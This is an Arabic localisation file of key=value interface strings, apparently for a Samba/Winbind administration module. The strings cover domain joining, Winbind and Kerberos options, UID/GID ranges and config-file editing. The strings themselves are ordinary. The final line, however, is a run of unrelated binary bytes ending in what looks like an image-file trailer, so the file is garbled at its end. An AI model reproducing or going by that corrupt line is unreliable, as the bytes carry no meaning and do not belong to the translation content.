winbind_user=ربط كمستخدم
winbind_dom=ربط المجال
winbind_save=ربط الآن
winbind_default=المجال من تكوين سامبا
winbind_pass=كلمة مرور المستخدم
winbind_err=فشل في ربط المجال
winbind_euser=اسم المستخدم مفقود
winbind_edom=اسم المجال مفقود
winbind_cmd=ربط المجال بالأمر$1 ..
winbind_failed=.. فشل! انظر الإخراج أعلاه لسبب ذلك.
winbind_ok=.. اكتمال.

bind_title=خيارات Winbind
bind_ecannot=لا يسمح لك بتحرير خيارات winbind
bind_header=خيارات ربط مجال Windows
bind_local=تمكين Winbind للحسابات المحلية؟
bind_trust=هل تثق في مستخدمي خادم المجال؟
bind_users=عدم السماح بقائمة المستخدمين؟
bind_groups=عدم السماح بإدراج المجموعات؟
bind_defaultdomain=دائما استخدام المجال الافتراضي؟
bind_realm=عالم Kerberos على خادم المجال
bind_cache=ثواني لتخزين تفاصيل المستخدم لـ
bind_uid=نطاق UIDs لمستخدمي Windows
bind_gid=نطاق GIDs لمجموعات Windows
bind_backend=خلفية LDAP لتعيين الحساب
bind_err=فشل في حفظ خيارات Winbind
bind_erealm=عالم Kerberos غير صالح
bind_ecache=وقت ذاكرة التخزين المؤقت مفقود أو غير صالح
bind_euid=نطاق UID غير صالح - يجب أن يكون مثل 20000-30000
bind_egid=نطاق GID غير صالح - يجب أن يكون مثل 20000-30000

manual_title=تحرير ملف التكوين
manual_desc=تحرير ملف تكوين Samba $1 ..
manual_err=فشل في حفظ ملف التكوين
manual_edata=لم يُدخل شيء!

delete_err=فشل حذف المشاركات
delete_enone=لم يتم تحديد شيء
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`